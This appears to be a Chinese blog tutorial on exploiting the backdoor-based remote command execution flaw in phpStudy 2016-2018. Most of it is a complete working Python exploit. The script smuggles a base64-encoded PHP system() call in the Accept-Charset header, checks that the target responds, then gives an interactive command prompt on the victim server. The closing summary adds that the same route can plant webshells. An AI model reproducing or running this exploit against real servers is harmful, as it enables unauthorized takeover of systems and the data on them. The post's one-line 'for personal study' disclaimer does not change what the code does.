phpStudy_2016-2018_RCE漏洞的检测利用脚本编写

本文详细介绍了phpStudy_2016-2018版本中存在的RCE漏洞,包括漏洞原理和EXP脚本的编写。作者提供了一个用于检测目标是否在线以及执行任意命令的Python脚本,该脚本通过向目标提交特定的GET请求,触发phpSystem函数执行系统命令。

摘要生成于 C知道 ,由 DeepSeek-R1 满血版支持, 前往体验 >


前言

本章主要针对phpStudy_2016_2018_RCE 漏洞编写EXP,复现该漏洞利用过程。文中内容涉及技术仅供个人学习参考。

关于phpStudy_2016_2018_RCE 漏洞的详细介绍参考:https://editor.csdn.net/md/?articleId=120443475


一、phpStudy_2016-2018存在什么漏洞

phpStudy_2016-2018中存在RCE(remote command/code execute)远程指令执行漏洞,即攻击者可以远程控制目标执行任意指令。

二、EXP脚本编写

1.目标存活检测

代码如下:

def judge():
    j = ''
    for i in range(18):
        j +=random.choice(string.digits + string.ascii_letters)
    return j
#初始化
def main(url):
    flag1 = judge()
    cmd = "echo " + flag1
    flag2 = rce(url, cmd)
    if  flag1 in flag2 :
       print("[+] Target is enable!")
       while True:
            cmd = input("[*] cmd >")
            if cmd == "q" or cmd == "":
                break
            print(rce(url, cmd))
    else:
        print("[+] Target is not  enable! exit 3s later")
        sleep(3)
        exit()

2.漏洞触发

代码如下:

#向目标提交请求,漏洞触发。
def rce(url,cmd):
    cmd = base64.b64encode("system('{}');".format(cmd).encode()).decode()
    headers = {
            'Accept-Charset': cmd,#请求头中提交参数,触发漏洞。
            'Accept-Encoding':'gzip,deflate',#请求头中提交参数,触发漏洞。
            'User-Agent':'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/87.0.4280.88 Safari/537.36 OPR/73.0.3856.284'
    } #浏览器指纹
    res = requests.get(url = url ,headers=headers)
    print(res.status_code)
    if res.status_code == 200:        #判断是否能与目标正常通信
        bof = 0
        eof = res.content.index(b"<!DOCTYPE html")  #将回复内容转化为二进制字符
        k = (res.content[bof:eof].decode("gbk"))
        return k
    else:
        exit("error url!")

3.完整代码

代码如下:

'''
author : meark 
date : 2021-9-16
message : phpstudy
information :phpstudy RCE漏洞利用复现
'''
import requests
import base64
import string
import random
from time import sleep
#向目标提交请求,漏洞触发。
def rce(url,cmd):
    cmd = base64.b64encode("system('{}');".format(cmd).encode()).decode()
    headers = {
            'Accept-Charset': cmd,#请求头中提交参数,触发漏洞。
            'Accept-Encoding':'gzip,deflate',#请求头中提交参数,触发漏洞。
            'User-Agent':'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/87.0.4280.88 Safari/537.36 OPR/73.0.3856.284'
    } #浏览器指纹
    res = requests.get(url = url ,headers=headers)
    print(res.status_code)
    if res.status_code == 200:        #判断是否能与目标正常通信
        bof = 0
        eof = res.content.index(b"<!DOCTYPE html")  #将回复内容转化为二进制字符
        k = (res.content[bof:eof].decode("gbk"))
        return k
    else:
        exit("error url!")
# 生成随机数与目标返回的字符对比,判断目标是否在线。
def judge():
    j = ''
    for i in range(18):
        j +=random.choice(string.digits + string.ascii_letters)
    return j
#初始化
def main(url):
    flag1 = judge()
    cmd = "echo " + flag1
    flag2 = rce(url, cmd)
    if  flag1 in flag2 :
       print("[+] Target is enable!")
       while True:
            cmd = input("[*] cmd >")
            if cmd == "q" or cmd == "":
                break
            print(rce(url, cmd))
    else:
        print("[+] Target is not  enable! exit 3s later")
        sleep(3)
        exit()

if __name__ == "__main__":
    url = input("Enter an url :")
    print("[+] Testing url:{}".format(url))
    print('-----------------')
    main(url)






总结

2016和2018版本的phpstudy被植入后门后,通过向目标提交GET请求,可以调用php system函数执行系统命令。也可以通过system函数在目标本地生成webshell、一句话木马等。

评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值